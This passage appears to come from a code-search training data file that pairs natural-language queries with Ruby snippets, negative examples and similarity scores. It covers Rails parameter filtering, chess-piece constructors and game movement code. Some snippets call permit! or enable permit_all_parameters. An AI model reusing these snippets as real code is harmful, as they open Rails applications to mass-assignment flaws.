filter_parameters; end", "def filter_parameters; end", "def list_params\n params.permit(:name)\n end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def url_whitelist; end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69802505", "0.6781974", "0.67470175", "0.67430073", "0.67350477", "0.6593221", "0.6504263", "0.64988977", "0.6481794", "0.64800006", "0.64568025", "0.64411247", "0.6379476", "0.63765615", "0.6368045", "0.6320141", "0.6300363", "0.6300057", "0.62952244", "0.6294712", "0.6293856", "0.6290323", "0.62816143", "0.6241851", "0.6241208", "0.622036", "0.62128764", "0.62110275", "0.61966056", "0.61776453", "0.617547", "0.6174961", "0.61654735", "0.6153256", "0.61516005", "0.6149498", "0.6123234", "0.6118653", "0.61077267", "0.61061186", "0.6093616", "0.608318", "0.6074428", "0.60650206", "0.60244286", "0.6020295", "0.60155797", "0.6012826", "0.6010141", "0.6010141", "0.60037106", "0.600298", "0.59979576", "0.5994806", "0.5994283", "0.5993927", "0.5980616", "0.59667075", "0.59614897", "0.59610957", "0.596071", "0.5959614", "0.59554", "0.59542966", "0.5946781", "0.5940262", "0.5940262", "0.59401053", "0.5937168", "0.5932135", "0.59293395", "0.592659", "0.59202623", "0.59112674", "0.59088206", "0.590716", "0.59056735", "0.589997", "0.5899655", "0.5898926", "0.5896042", "0.589589", "0.5895867", "0.58894163", "0.5884936", "0.5879227", "0.58740723", "0.5871364", "0.5870148", "0.5869228", "0.5868196", "0.5867967", "0.5865532", "0.58653617", "0.58644646", "0.58631665", "0.5862611", "0.5857609", "0.58558804", "0.5853729", "0.5853025" ]
0.0
-1
Constructor Params: +color+:: the color of the player +display+:: the object of a class encapsulating
def initialize(color, display) @color = color @display = display end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(color, board)\n @my_color = color\n @opponent_color = \n @my_color == Reversi::Board::DISK[:white] ? \n Reversi::Board::DISK[:black] : Reversi::Board::DISK[:white]\n @board = board\n end", "def initialize(color)\n @color = color\n end", "def initialize(color) \n @color = color #instance variable\n end", "def initialize(name, color) \n @name = name \n @color = color \n end", "def initialize(color = COLOR_CLEAR)\n @color = color\n end", "def initialize(color)#recibe el color de brown\n p super# trae el comportamiento de la superclase con los valores de name\n p @color = color #el valor de colo lo declaramos como variable de instancia\n end", "def initialize(name, color) \r\n @name = name \r\n @color = color \r\n end", "def initialize(my_color, my_sound)\n\t\t@color = my_color\n\t\t@sound = my_sound\n\tend", "def initialize(color)\n @color = color\n # hash of all pieces and their current positions\n @player_piece_set = Hash.new(0)\n @pieces = Hash.new\n\n # assign each player a full set of pieces\n end", "def initialize(color)\n\t\t@color = color\n\t\t@pieces = []\n\tend", "def initialize(color, name, type)\n @color = color\n @name = name\n @type = type\n end", "def initialize(color, type)\n @color, @type = type, color\n @bones = []\n end", "def initialize(name, color)\n @name = name\n @color = color\n end", "def initialize(number, color)\n @number = number\n @color = color\n end", "def initialize(color, type, position = Coordinates.origin, height = 1)\n @color = color\n @type = type\n @position = position\n @height = height\n end", "def initialize color, size\n @color = color\n @size = size\n end", "def initialize color, position\n @color = color\n @position = position\n end", "def initialize(make, color)\n\t\t@make = make #instance variables @make. They are accesible throught the class and your objects\n\t\t@color = color\n\t\tput self.color\n\tend", "def initialize(color = \"white\", name = \"n\")\n @color = COLORS[color]\n @name = name\n @selected = false\n end", "def initialize(type, color, pos, board)\n @type = type\n @color = color\n @pos = Pos.new(pos)\n @board = board\n @symbol = @@visual[type]\n\n end", "def initialize(color, make)\n @color = color\n @make = make\n end", "def new\n @color = Color.new\n end", "def initialize(color, position)\n self.color = color\n self.position = position\n end", "def initialize(pos, color)\n if color == 0\n @color = \"B\"\n else\n @color = \"W\"\n end\n @pos = pos\n end", "def initialize(color,opacity)\n @color=color\n @opacity=opacity\n end", "def initialize(color, position, board, has_moved, turns = 0, last_moved_turn = 0, moved_dist = 0)\n super(color, position, board, has_moved, turns, last_moved_turn)\n @symbol = piece_colorize([\"265F\".hex].pack(\"U\"))\n @deltas = DELTAS[color]\n @attacks = ATTACKS[color]\n @moved_dist = moved_dist\n end", "def initialize\r\n\t\t@color =\"platinum\"\r\n\tend", "def initialize(color, brand = 'BMW')\n @color = color\n @engine_started = false\n @brand = brand\n end", "def initialize(color, position)\n super\n @color == \"white\" ? @symbol = \"♖\" : @symbol = \"♜\"\n end", "def initialize(x, y, c=\"red\")\n\t\tsuper(x, y)\n\t\t@color = c\n\tend", "def initialize(color:, **opts)\n super(**opts)\n @color = color\n end", "def initialize(name, color)\n @name = name\n @is_asleep = false\n # The dragon is not hungry when @fullness_level is 10\n # The dragon is very hungry when @fullness_level is 0\n @fullness_level = 10\n @quenched_level = 10\n @color = color\n case @color\n when \"red\"\n @special_power = \"#{@name} exhales fire.\"\n when \"yellow\"\n @special_power = \"#{@name} throws up.\"\n when \"green\"\n @special_power = \"#{@name} dances.\"\n else\n @special_power = \"#{@name} wiggles its tail.\"\n end\n end", "def initialize(position, color, value= \"B\")\n @position = position\n @color = color\n @value = value\n end", "def initialize\n @solid = false\n @score = 0\n @damage = 0\n # @display = \"<c=808080>.</c>\"\n @display = \"grass\"\n @message = \"Fwffffwwww\"\n @sound = nil\n end", "def spray_paint(color)\n self.color = color\n puts \"Your new #{color} paint job looks great!\"\n end", "def initialize(color, position)\n super\n @color == \"white\" ? @symbol = \"♔\" : @symbol = \"♚\"\n end", "def initialize(color, board, pos)\n @color = color\n @board = board\n @pos = pos\n end", "def initialize(position = nil, color = nil, symbol = nil, board)\n super\n @symbol = \"\\u265A\"\n end", "def initialize(size=nil, color=nil, can_fly=true)\n @size = size\n @color = color\n @can_fly = can_fly\n end", "def initialize(x,y,c=\"clear\")\n super(x,y) # keyword super calls same method in superclass\n @color = c\n end", "def initialize (x, y, char, color)\n @x = x\n @y = y\n @char = char\n @color = color\n end", "def initialize(board, color, position)\n @board = board\n @color = color\n @position = position\n end", "def initialize(color = \"banana\", brand)\n @brand = brand\n @color = color\n @engine_started = false\n end", "def initialize(color, board, pos) #piece type\n @color = color\n @board = board\n @pos = pos\n end", "def initialize(color={:cyan=> 1 ,:magenta => 0, :yellow => 0, :black => 0})\n @color=color\n end", "def display(game) #this game refers to an instance of the game class\n @board = game\n end", "def initialize(board, color, symbol = :queen)\n super\n end", "def initialize(color, pos, board)\n super(color, pos, board)\n @value = \"\\u265C \"\n end", "def initialize(color, pos, board)\n super(color, pos, board)\n @value = \"\\u265E \"\n end", "def initialize(name1)\r\n @player1=Player1.new(name1)\r\n @grid=Grid.new()\r\n @grid.pretty_print\r\n puts \"\\nYour game is ready!!!\\n\\n\"\r\n game \r\nend", "def initialize(spot,color=\"white\")\n color == \"white\" ? @color = \"white\" : @color = \"black\"\n color == \"white\" ? @opposite = \"black\" : @opposite = \"white\"\n @spot = spot\n @potential = []\n @team_in_path = []\n @moved = false\n @spot.update_occupied_by(self)\n Game.add_to_pieces(self)\n create_icon\n end", "def initialize\n # super(color, board, pos)\n end", "def initialize(color, board, position)\n super\n @symbol = :bishop\n end", "def initialize(name,bg_color,text_color,font_name,prompt)\n @name = name\n @bgColor = bg_color\n @textColor = text_color\n @fontName = font_name\n @prompt = prompt\n @active = false\n end", "def initialize(*c)\n if !c[0] then @color = pick_color else @color = c[0] end\n end", "def initialize(rank, suit)\n\t\t\t@rank = rank\n\t\t\t@suit = suit\n\t\t\t@color = (suit == 'Spades' || suit == 'Clubs')? 'Black' : 'Red'\n\t\tend", "def initialize(number = nil, symbol = nil, shading = nil, color = nil)\n @number = number\n @symbol = symbol\n @shading = shading\n @color = color\n end", "def initialize(color)\n assert_type 'color', color, Sass::Script::Color\n @color = color\n end", "def initialize\n @color = :none\n @symbol = \" \"\n end", "def initialize(color, pos, board, king = false)\n @color, @pos, @board = color, pos, board\n board.place_piece(self, pos)\n @king = king\n end", "def initialize(color, brand) # .new -> .intialize\n # instance variable -> stores info inside instance\n @color = color\n @brand = brand\n @engine_started = false\n end", "def initialize\n @name = 'Null'\n @color = nil\n end", "def initialize(height, hair='ginger', top='yellow')\n @hair_color = hair\n @height = height\n @top_color = top\n\tend", "def initialize(rank, suit, color)\n @rank = rank\n @suit = suit\n @color = color\n end", "def initialize(rank, suit, color)\n @rank = rank\n @suit = suit\n @color = color\n end", "def initialize\n @human = Human.new #(:human) symbol here will be used internally by Player class above, not needed\n # because its a default in the initialize method of the Player class above\n @computer = Computer.new # remove the `(:computer)` right after new for Redesign 1 video\n end", "def initialize(rank, suit, color)\n @rank = rank\n @suit = suit\n @color = color\n end", "def initialize(color, position)\n @move_tree_template = build_king_move_tree\n @moved = false\n super(color == 'white' ? '♚'.white : '♔', color, position, 10_000)\n end", "def initialize(color, row_s, col_s, row_e, col_e, movetype, type_piece)\n @color= color\n @row_s = row_s\n @col_s = col_s \n @row_e = row_e \n @col_e = col_e \n @movetype = movetype \n @type_piece = type_piece\n @eated = nil #:cav, :alf, :reg, :torr, :ped\n @promoted = nil #:cav, :alf, :reg, :torr\n @fen_after_move = ''\n end", "def initialize(r,g,b,a)\n @r=r\n @b=b\n @g=g\n @a=a\n @opacity=a\n @color= @a > 0 ? \"rgb(#{r.to_i},#{g.to_i},#{b.to_i})\" : \"none\"\n end", "def initialize(color)\n\t\t\tself.color = color\n\n\t\t\tif self.color.kind_of?(Array)\n\t\t\t\tself.h, self.s, self.l = self.color\n\t\t\telsif self.color.kind_of?(String)\n\t\t\t\tself.h, self.s, self.l = to_array\n\t\t\tend\n\t\t\t\n\t\t\tbegin\n\t\t\t\tif is_hsl? \n\t\t\t\t\tself.color = to_s\n\t\t\t\telse\n\t\t\t\t\traise ExceptionHandler::ColorFormatError, ErrorMessage.wrong_color_format\n\t\t\t\tend \n\t\t\trescue Exception => e\n\t\t\t\traise ExceptionHandler::ColorFormatError, ErrorMessage.wrong_color_format\n\t\t\tend\n\t\tend", "def initialize(color) #instance method\n @color = color #instance variable\n @price = nil #(have to put nil, otherwise it will give an error)\n @@counter += 1\n end", "def initialize(color) #instance method\n @color = color #instance variable\n @price = nil #(have to put nil, otherwise it will give an error)\n @@counter += 1\n end", "def show\n call Screen.setColor(true)\n call draw\n end", "def initialize\n @comp = Computer.new\n @player = Player.new\n end", "def initialize(player_1 = Player::Human.new(\"X\"), player_2 = Player::Human.new(\"O\"),board = Board.new)\n @board = board\n @player_1 = player_1\n @player_2 = player_2\n end", "def initialize(name, hair_color)\n @name = name # This is an INSTANCE variable\n @hair_color = hair_color\n end", "def initialize(color)\n\t\t\tself.color = color\n\n\t\t\tif self.color.kind_of?(Array)\n\t\t\t\tself.l, self.a, self.b = self.color\n\t\t\telsif self.color.kind_of?(String)\n\t\t\t\tself.l, self.a, self.b = to_array\n\t\t\tend\n\t\t\t\n\t\t\tbegin\n\t\t\t\tif is_cielab? \n\t\t\t\t\tself.color = to_s\n\t\t\t\telse\n\t\t\t\t\traise ExceptionHandler::ColorFormatError, ErrorMessage.wrong_color_format\n\t\t\t\tend \n\t\t\trescue Exception => e\n\t\t\t\traise ExceptionHandler::ColorFormatError, ErrorMessage.wrong_color_format\n\t\t\tend\n\t\tend", "def initialize(name, master, position, dimensions, text = '', on_click = nil, hover = true)\n super(name, master, position, Layers::UI)\n @dimensions = dimensions\n\n @color_fg = 0xff_000000\n @color_bg = 0xff_ffffff\n\n @state = 0\n\n @font = Gosu::Font.new(50)\n @text = text\n @enabled = true\n @hover = hover\n\n # * This allows an event handler to operate on this button. Rather than defining it within the object itself, it is assigned a\n # * function that it calls upon achieving the state.\n @click = on_click\n @collider = Collider.new(master, position, dimensions, [])\n self\n end", "def initialize(board, color)\n @board = board\n @isWhite = color == \"white\"\n @pieces = []\n if(@isWhite)\n 8.times {|i| @pieces << Pawn.new(board, \"white\", 6, i)}\n @pieces << Rook.new(board, \"white\", 7, 0)\n @pieces << Rook.new(board, \"white\", 7, 7)\n @pieces << Knight.new(board, \"white\", 7, 1)\n @pieces << Knight.new(board, \"white\", 7, 6)\n @pieces << Bishop.new(board, \"white\", 7, 2)\n @pieces << Bishop.new(board, \"white\", 7, 5)\n @pieces << Queen.new(board, \"white\", 7, 3)\n @king = King.new(board, \"white\", 7, 4)\n else #color is black\n 8.times {|i| @pieces << Pawn.new(board, \"black\", 1, i)}\n @pieces << Rook.new(board, \"black\", 0, 0)\n @pieces << Rook.new(board, \"black\", 0, 7)\n @pieces << Knight.new(board, \"black\", 0, 1)\n @pieces << Knight.new(board, \"black\", 0, 6)\n @pieces << Bishop.new(board, \"black\", 0, 2)\n @pieces << Bishop.new(board, \"black\", 0, 5)\n @pieces << Queen.new(board, \"black\", 0, 3)\n @king = King.new(board, \"black\", 0, 4)\n end\n @in_checkmate = false\n end", "def initialize(red, green, blue, alpha=255)\n set red, green, blue, alpha\n end", "def initialize(color = \"white\")\n\t\t@fuel = 10\n\t\t@distance = 0\n\t\t@color = color\n\t\t@@total_car_count += 1\n\t\tif @@car_colors.include?(color)\n\t\t\t@@car_colors[color] += 1\n\t\telse\n\t\t\t@@car_colors.merge!(color => 1)\n\t\tend\n\tend", "def initialize\n @game_settings = GameSettings.new\n super 920, 480\n self.caption = GAME_TITLE\n @settings_hovered = Options::START_SCREEN[0]\n @title_font, @subtitle_font = Gosu::Font.new(50), Gosu::Font.new(20)\n @background_image = Gosu::Image.new(\"media/background1.jpg\", :tileable => true)\n @blank_card = Gosu::Image.new(\"media/card.png\", :tileable => true)\n @button_option = Gosu::Image.new(\"media/button.png\", :tileable => true)\n @deck = Deck.new\n @playing_cards = Array.new\n @computer_signal = ComputerTimer.new\n @players_created, @mes, @false_mes, @true_mes, @trying_mes = false, false, false, false, false\n @hint = []\n #players\n @pressed, @p1, @p2 = nil, nil, nil\n @game_timer = Timers.new\n end", "def initialize (start_pos, color=nil)\n super(\"p\", start_pos, nil,color)\n\n if self.color == 'black'\n self.move_increments = [[-1,0]]\n self.attack_increments = [[-1,1],[-1,-1]]\n elsif self.color == 'white'\n self.move_increments = [[1,0]]\n self.attack_increments = [[1,1],[1,-1]]\n end\n\n end", "def initialize(position, color, board, king = false)\n @row, @col = position\n @color, @board, @kind = color, board, king\n end", "def initialize(player_1 = Players::Human.new(\"X\"), player_2 = Players::Human.new(\"O\"), board = Board.new)\n @player_1 = player_1\n @player_2 = player_2\n @board = board\n end", "def createDisplay _obj, _args\n \"_obj createDisplay _args;\" \n end", "def initialize(player_1 = Players::Human.new(\"X\"), player_2 = Players::Human.new(\"O\"),board = Board.new)\n @player_1 = player_1\n @player_2 = player_2\n @board = board\n #binding.pry\n end", "def initialize\n @hair_color = \"black\"\n @eye_color = \"green\"\n @skin_color = \"Pale and gooey\"\n @sex = \"female\"\n end", "def initialize(player_1 = Players::Human.new(\"X\"), player_2 = Players::Human.new(\"O\"), board = Board.new)\n @board = board\n @player_1 = player_1\n @player_2 = player_2\n end", "def initialize(colour) #position, colour)\n #@position = position\n @colour = colour\n red = Pointer.new(:float)\n green = Pointer.new(:float)\n blue = Pointer.new(:float)\n alpha = Pointer.new(:float)\n colour.getRed(red, green: green, blue: blue, alpha: alpha)\n @red = red[0]\n @green = green[0]\n @blue = blue[0]\n end", "def initialize(color, width)\n\t\tputs \"My constructor, color: #{color}, width: #{width}\"\n\n\t\t# Executando o método privado dentro da classe\n\t\tputs \"constructor: #{my_private_method()}\"\n\tend", "def initialize\n puts\n puts (\"---------------------------------------------------\").red\n puts (\"|Welcome to 'THE FINAL TIC-TAC-TOE'! |\").red\n puts (\"|If you do not know how to play, open README.md! |\").red\n puts (\"---------------------------------------------------\").red\n puts\n @player1 = Player.new\n puts\n @player2 = Player.new\n @board\n end", "def render\n @display = Display.new(self)\n end", "def initialize(pos, color, board)\n @pos = pos\n @color = color\n @board = board\n end", "def initialize(make, model, color)\n @make = make\n @model = model\n @color = color\n end", "def setup_display\n gameboard.build_display\n build_white_side\n build_black_side\n end", "def initialize \n\t@first_player = Player.new(\"joueur 1\")\n\t@second_player = Player.new(\"joueur 2\")\n\t self.create_board\n\t self.play_until_victory\n end", "def initialize(color, board, pos)\n @color = color #symbol for color\n @board = board #Board class obj\n @pos = pos #array containing [y, x] position\n end", "def initialize\n\t\t@board = Board.new\n\t\t@turn = rand(2) # randomizes which color starts first even BLACK odd RED\n\tend" ]
[ "0.6786432", "0.6752082", "0.66963583", "0.65550196", "0.65087336", "0.64917564", "0.6481129", "0.6476787", "0.64615446", "0.6460129", "0.644403", "0.63901037", "0.63844967", "0.63107073", "0.6292702", "0.6280116", "0.6269664", "0.6249759", "0.6238945", "0.62387645", "0.6227579", "0.61841524", "0.61763525", "0.6143463", "0.6081339", "0.606801", "0.6048052", "0.5973509", "0.5966796", "0.59490126", "0.59407365", "0.5921528", "0.59194624", "0.5918591", "0.591143", "0.5899399", "0.58908045", "0.5880291", "0.58751655", "0.58627886", "0.5862412", "0.5862157", "0.58619195", "0.58600163", "0.58575004", "0.58542806", "0.584811", "0.5832918", "0.58217406", "0.581305", "0.5804517", "0.5801312", "0.58009964", "0.5789442", "0.57889986", "0.5787569", "0.57871294", "0.5774252", "0.5773302", "0.5756856", "0.5738645", "0.5729319", "0.57202184", "0.57056147", "0.56937593", "0.5693157", "0.5690757", "0.568917", "0.568614", "0.5675902", "0.56699026", "0.5665083", "0.5665083", "0.5663699", "0.56570226", "0.56564164", "0.56499594", "0.5645038", "0.564258", "0.5638346", "0.5635295", "0.5633073", "0.562198", "0.5617205", "0.560993", "0.56076175", "0.5607472", "0.56067926", "0.55950016", "0.5588612", "0.55696195", "0.55636746", "0.5553784", "0.5553026", "0.5550868", "0.554956", "0.5547261", "0.55438185", "0.55372334", "0.5535781" ]
0.8033685
0
method gets the player movement
def get_move cols = %w(a b c d e f g h) rows = %w(8 7 6 5 4 3 2 1) from_pos, to_pos = nil, nil until from_pos && to_pos @display.draw if from_pos row, col = from_pos piece = @display.board[from_pos].class puts "#{piece} at #{cols[col]}#{rows[row]} selected. Where to move to?" to_pos = @display.get_keyboard_input else @display.reset_errors_notification puts "#{@color.capitalize}'s move" puts 'What piece do you want to move?' selection = @display.get_keyboard_input from_pos = selection if selection && valid_selection?(selection) end end [from_pos, to_pos] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_move\n @players[0].get_move(@board)\n end", "def current_player_move\n @on_move == HUMAN_PLAYER ? human.move : computer.move\n end", "def player_position_look_update; end", "def update_player_movement\r\n # Move player in the direction the directional button is being pressed\r\n case Input.dir4\r\n when 2\r\n move_down\r\n when 4\r\n move_left\r\n when 6\r\n move_right\r\n when 8\r\n move_up\r\n end\r\n end", "def move(player, x, y)\n\n end", "def player_position\n @ole.PlayerPosition\n end", "def get_move\n STDOUT.print(\"\\tPlayer #{self.name}/#{self.type} -- \" +\n \"center: #{@move_center.inspect} // corner: #{@move_corner.inspect}\" +\n \" // side: #{@move_side.inspect}\\n\") if $VERBOSE\n # play center\n if rand(2) > 0 && !@move_center.empty? # plus some randomness for IA vs IA\n # maybe a problem - if it the only valid move!\n m = _play_center\n return m if m > 0\n end\n # play opposite corner\n if !@move_corner.empty?\n m = _find_free_opp_corner\n STDOUT.print \"\\tPlayer #{self.name}/#{self.type} trying corner...#{m}\\n\" if $VERBOSE\n return m if m > 0\n end\n # play opposite side\n if !@move_side.empty?\n m = _find_free_side\n STDOUT.print \"\\tPlayer #{self.name}/#{self.type} trying side...#{m}\\n\" if $VERBOSE\n return m if m > 0\n end\n raise ArgumentError,\n \"No more move to play for #{self.name} / #{self.type} /\\n\" +\n \"center: #{@move_center.inspect} // corner: #{@move_corner.inspect} // side: #{@move_side.inspect}\"\n end", "def calc_player\n state.player.x += state.player.dx # changes x based on dx (change in x)\n state.player.y += state.player.dy # changes y based on dy (change in y)\n\n state.player.dx *= 0.9 # scales dx down\n state.player.dy *= 0.9 # scales dy down\n\n # Compares player's x to 1280 to find lesser value, then compares result to 0 to find greater value.\n # This ensures that the player remains within the screen's scope.\n state.player.x = state.player.x.lesser(1280).greater(0)\n state.player.y = state.player.y.lesser(720).greater(0) # same with player's y\n end", "def get_movement\n self.user_setting.increased_movement\n end", "def get_movement\n floor_difference = @current_floor - @requests_queue[0].floor\n if floor_difference > 0\n @movement = \"down\"\n else\n @movement = \"up\"\n end\n end", "def getMove()\n\t\t# Null warning\n\t\tputs(\"NO getMove() FUNCTION FOUND!!\")\n\t\treturn nil\n\tend", "def process_inputs_player_movement\n # Sets dx to 0 if the player lets go of arrow keys (player won't move left or right)\n if inputs.keyboard.key_up.right\n state.dx = 0\n elsif inputs.keyboard.key_up.left\n state.dx = 0\n end\n\n # Sets dx to 3 in whatever direction the player chooses when they hold down (or press) the left or right keys\n if inputs.keyboard.key_held.right\n state.dx = 3\n elsif inputs.keyboard.key_held.left\n state.dx = -3\n end\n\n # Sets dy to 5 to make the player ~fly~ when they press the space bar on their keyboard\n if inputs.keyboard.key_held.space\n state.dy = 5\n end\n end", "def calc_player\n\n # Since acceleration is the change in velocity, the change in y (dy) increases every frame.\n # What goes up must come down because of gravity.\n state.dy += state.gravity\n\n # Calls the calc_box_collision and calc_edge_collision methods.\n calc_box_collision\n calc_edge_collision\n\n # Since velocity is the change in position, the change in y increases by dy. Same with x and dx.\n state.y += state.dy\n state.x += state.dx\n\n # Scales dx down.\n state.dx *= 0.8\n end", "def current_player_moves\r\n current_player.play(board)\r\n end", "def move\n @x = (@x + @x_velocity) % Window.width\n @y = (@y + @y_velocity) % Window.height\nend", "def view_position\n @player.position\n end", "def player_move(player)\n if player_one == player\n player_one_move\n elsif player_two == player\n player_two_move\n else\n nil\n end\n end", "def calc_player\n state.dy += state.gravity # what goes up must come down because of gravity\n calc_box_collision\n calc_edge_collision\n state.y += state.dy # Since velocity is the change in position, the change in y increases by dy\n state.x += state.dx # Ditto line above but dx and x\n state.dx *= 0.8 # Scales dx down\n end", "def moves\n end", "def move\n\t\tif @direction == \"N\"\n\t\t\t@y += 1\n\t\telsif @direction == \"W\"\n\t\t\t@x -= 1\n\t\telsif @direction == \"E\"\n\t\t\t@x += 1\n\t\telsif @direction == \"S\"\n\t\t\t@y -= 1\n\t\tend\n\tend", "def Move(player, start, stop)\r\n end", "def move_position\n @x += @velocity_x\n @y += @velocity_y\n end", "def moves\n\n end", "def move\r\n @x += @velx\r\n @y += @vely\r\n\r\n #To introduce friction to the player so that it can slow down\r\n @velx *= FRICTION\r\n @vely *= FRICTION\r\n\r\n #To stop the player from moving out of the left of the window\r\n if @x > @window.width - @radius\r\n @velx = 0\r\n @x = @window.width - @radius\r\n end\r\n\r\n #To stop the player from moving out of the right of the window\r\n if @x < @radius\r\n @velx = 0\r\n @x = @radius\r\n end\r\n\r\n #To stop the player from moving out of the bottom of the window\r\n if @y > @window.height - @radius\r\n @vely = 0\r\n @y = @window.height - @radius\r\n end\r\n end", "def turn_to_player\n diffx = @x - $game.player.x\n diffy = @y - $game.player.y\n down = diffy < 0\n left = diffx > 0\n right = diffx < 0\n up = diffy > 0\n if down\n @direction = 2\n elsif up\n @direction = 8\n elsif left\n @direction = 4\n elsif right\n @direction = 6\n end\n end", "def move_player(member)\n refresh\n @move_update.clear if member.x == @x and member.y == @y\n @start_moving = false if @move_update.size <= 1\n return if moving?\n return unless need_update(member)\n move = @move_update.shift\n eval(move) if move != nil\n end", "def start_movement\n end", "def tdd_fme_update_move\n @x = $game_map.round_x_with_direction(@x, @direction)\n @y = $game_map.round_y_with_direction(@y, @direction)\n\n @real_x += @velocity_x\n @real_y += @velocity_y\n end", "def moving!\n end", "def move\n if @x + @x_vel < 0\n net_move = (-2 * @x) - @x_vel\n @x += net_move\n @truex += net_move\n @x_vel = -@x_vel\n elsif @x + @x_vel > (1280 - @w)\n net_move = (2 * (1280 - @w - @x)) - @x_vel \n @x += net_move\n @truex += net_move\n @x_vel = -@x_vel\n else\n @truex += @x_vel\n @x += @x_vel\n end\n\n if @y + @y_vel < 0\n net_move = (-2 * @y) - @y_vel\n @y += net_move\n @truey += net_move\n @y_vel = -@y_vel\n elsif @y + @y_vel > (720 - @h)\n net_move = (2 * (720 - @h - @y)) - @y_vel \n @y += net_move\n @truey += net_move\n @y_vel = -@y_vel\n else\n @truey += @y_vel\n @y += @y_vel\n end\n end", "def move\n\t\t@x += 0\n\t\t@y += @vel\n\tend", "def update_one_player\n # if moving up\n if Input.press?(Input::UP)\n self.y -= 4 unless self.y <= 0\n end\n # if moving down\n if Input.press?(Input::DOWN)\n self.y += 4 unless self.ey >= 480\n end\n end", "def move\n ##incrementing or decrementing eg. current_direction W,\n ##position_x decrementing by 1 (-=1)\n if @current_direction == \"N\"\n @position_y += 1\n puts \"#{@position_y}\"\n elsif @current_direction == \"E\"\n @position_x += 1\n elsif @current_direction == \"W\"\n @position_x -= 1\n elsif @current_direction == \"S\"\n @position_y -= 1\n end\n\n end", "def update\n if @last_move != nil\n if button_down?(Gosu::KbRight) || button_down?(Gosu::KbLeft) || button_down?(Gosu::KbUp) || button_down?(Gosu::KbDown)\n if Gosu::milliseconds - @last_move_time > 90\n @last_move_time = Gosu::milliseconds\n @game.state.command(@last_move)\n end\n else\n @last_move = nil\n end\n end\n end", "def moves\n sliding_moves + jumping_moves\n end", "def input_update_movement_controls\n if $program.holding?(:alt)\n speed = @speed / 2.0\n elsif $program.holding?(:shift) && $program.holding?(:ctrl)\n speed = @speed * 10\n elsif $program.holding?(:shift) || $program.holding?(:ctrl)\n speed = @speed * 4\n else\n speed = @speed\n end\n #--------------------------------------\n # Left Right X axis, Camera Position\n if $program.holding?(:move_left)\n @z -= speed\n elsif $program.holding?(:move_right)\n @z += speed\n #--------------------------------------\n # Up Down Y axis, Camera Position\n elsif $program.holding?(:move_up)\n @x -= speed\n elsif $program.holding?(:move_down)\n @x += speed\n #--------------------------------------\n # Vertical Hight change, Camera Position\n # more of a 'turn' then a straif type movment...\n elsif $program.holding?(:move_jump)\n @y -= speed\n elsif $program.holding?(:move_crouch)\n @y += speed\n #--------------------------------------\n end\n end", "def move\n case @current_rotation\n when ToyEnums::NORTH\n @position_y +=1\n when ToyEnums::SOUTH\n @position_y -=1\n when ToyEnums::EAST\n @position_x +=1\n when 